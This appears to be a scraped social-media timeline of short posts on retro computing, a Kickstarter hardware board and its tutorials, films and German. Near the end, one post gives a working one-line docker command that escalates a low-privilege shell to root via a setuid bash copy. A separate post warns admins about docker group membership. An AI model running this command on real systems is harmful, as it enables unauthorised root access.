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Today I got an ancient BSD running on a Microcontroller, moved a Nextcloud instance to an Arm box, and got CP/M running on a random personal domain home page. mastodon.social/media/u56_dsMZ

On site this week. Feels a world away from Kickstarter madness, but a gal's gotta eat.

Wiring harness routing for Convair/General Dynamics Tomahawk cruise missile, shown here on an IBM display. San Diego Air and Space Museum Archive 1970-1979 mastodon.social/media/tnNDrpoI

Maybe I'm just incredibly jaded about security

I can't help but feel that despite Natalie and Tavis' work the windows bug is noise. It'll come, it'll be patched, it'll go. People will still use shit passwords, use shonky 3rd party software. And run outdated web apps. Most people don't get popped by big ticket 0day

My day job now consists of watching Titanic documentaries.

My day job is much cooler than my old day job.

Forget , Litecoin, Etherium etc... We should switch our currency to potatoes

Benefits:
- Works in any century as a medium of exchange
- Delicious and healthy
- Inherently shows proof of work
- Best of all, hacker proof (unless you own a knife)

Watched Room last night. Man that was a heck of a film. It was like a million, million dollar babies, one after the other.

for the longest time I'd answer "wie gehts?" (how's it going?) with​ "Es geht" (it's going) and now that I'm re learning German I have to learn the completely alien "Mir gehts gut" (I'm doing good)

Just sent the gerbers for the first 1.0 test board to the fab. Fingers crossed, we'll get this back next week.

The last few days have been nuts. I've just been consumed by documentation and have barely slept. I've re-orged the docs site, done a video and added two whole new tutorial sections with 3 mini projects at docs.hidiot.com/. Now I'm going to chill this evening.

Every day is an opportunity to try to be a better person to others. Try not to waste it.

Up since 2am on 3 hours sleep. So broken rn. Can't sleep because the vacuum bots are running.

Quoting twitter.com/luchinlucho
Today is the 43rd anniversary of the Carnation Revolution, when the Portuguese people put an end to over 40 years of fascism.
We never forget that fascism is real, dangerous and has killed and oppressed many innocent people.
There aren't any significant far-right movements in Portugal. We don't give them a platform because we know better.
Since then we say, loud and clear: 25 de Abril sempre, fascismo nunca mais! (25th of April always, fascism never again)

German ad for the Epson HX-20 handheld computer from 1983

It's considered to be the first true "Laptop" (I.E. It didn't break your lap if you put it there)

Setting up windows 10 vms to do installation docs and vids. Doesn't really feel like work.

is it true that sir clive sinclair used lentils instead of decoupling capacitors as a cost-cutting measure

One of the tutorials teaches kids morse code. I wanted to give them an exam in the form of a scavenger hunt, so I built morse code clue beacons that go inside kinder egg capsules. I'll do a full tutorial to build our own including power saving code once we have the Kickstarter tutorials finished.

I'm amazed Kickstarter isn't even more of a hotbed of scams given all the spammy messages we've had. So many people trying to sell everything from PR to sponsored blog posts. It's nuts.

HACKER TIP: If you pop a low-priv linux shell. Don't forget to check if the user is in the "docker" group. If so, a root shell is only one line away:

$ docker run -v /home/${USER}:/h_docs ubuntu bash -c "cp /bin/bash /h_docs/rootshell && chmod 4777 /h_docs/rootshell;" && ~/rootshell -p

screenshots and more here on my (crappy) blog: zacharykeeton.com/Linux_Privil

SysAdmin tip: Don' t add any nonsudoers to the 'docker' group!